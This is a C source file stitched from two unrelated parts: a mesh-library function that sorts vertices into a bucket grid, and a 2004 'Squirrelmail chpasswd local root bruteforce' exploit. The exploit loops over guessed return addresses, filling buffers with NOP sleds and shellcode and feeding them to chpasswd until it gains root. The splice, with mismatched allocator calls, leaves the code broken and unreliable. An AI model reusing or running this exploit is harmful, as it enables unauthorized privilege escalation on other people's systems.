/* create bucket structure and store initial vertices */
pBucket MMG_newBucket(pMesh mesh,int nmax) {
pPoint ppt;
pBucket bucket;
double dd;
int k,ic,ii,jj,kk;
/* memory alloc */
bucket = (Bucket*)M_malloc(sizeof(Bucket),"newBucket");
assert(bucket);
bucket->size = nmax;
bucket->head = (int*)M_calloc(nmax*nmax*nmax+1,sizeof(int),"newBucket.head");
assert(bucket->head);
bucket->link = (int*)M_calloc(mesh->npmax+1,sizeof(int),"newBucket.link");
assert(bucket->link);
/* insert vertices */
dd = nmax / (double)PRECI;
for (k=1; k<=mesh->np; k++) {
ppt = &mesh->point[k];
if ( ppt->tag & M_UNUSED ) continue;
ii = M_MAX(0,(int)(dd * ppt->c[0])-1);
jj = M_MAX(0,(int)(dd * ppt->c[1])-1);
kk = M_MAX(0,(int)(dd * ppt->c[2])-1);
ic = (kk*nmax + jj)*nmax + ii;
if ( !bucket->head[ic] )
bucket->head[ic] = k;
else {
bucket->link[k] = bucket->head[ic];
bucket->head[ic] = k;
}
}
return(bucket);
}
int main(void){
unsigned long ret_addr;
int i,j=0,offset=2,status;
char *buf1,*buf2;
pid_t pid;
ret_addr = get_esp() - strlen(Fuckpr0) - strlen(shellcode);
printf("\t-------------------------------------------------------\n");
printf("\t Squirrelmail chpasswd local root bruteforce exploit \n");
printf("\t code By Bytes<Bytes[at]ph4nt0m.org> 2004 \n");
printf("\t http://www.ph4nt0m.net \n");
printf("\t#######################################################\n");
sleep(1);
printf("[+] Bruteforce......\n\n");
sleep(2);
buf1 = (char *)M_malloc(150);
buf2 = (char *)M_malloc(600);
while(j <= LOOP){
if((pid = fork()) == 0){
memset(buf2,0x90,sizeof(buf2) - strlen(shellcode) - 8);
memcpy(buf2 + sizeof(buf2) - strlen(shellcode) - 8,shellcode,sizeof(shellcode));
for(i=0; i < 150; i+=4){
*((unsigned long *)(buf1+i)) = ret_addr;
}
printf("buf1 = %s\n",buf1);
execl(Fuckpr0,"chpasswd",buf1,buf2,0);
}
wait(&status);
printf("[-] Signal: #%i\n", status);
if(WIFEXITED(status) != 0 ) {
printf("[=] Step.%i: 0x%x\n[~] Exiting...\n",(j/2),ret_addr);
exit(1);
}else{
ret_addr += offset;
j += offset;
printf("[=] Offset:%d Use ret:0x%x\n",j, ret_addr);
}
}
free(buf1);
free(buf2);
return 1;
}
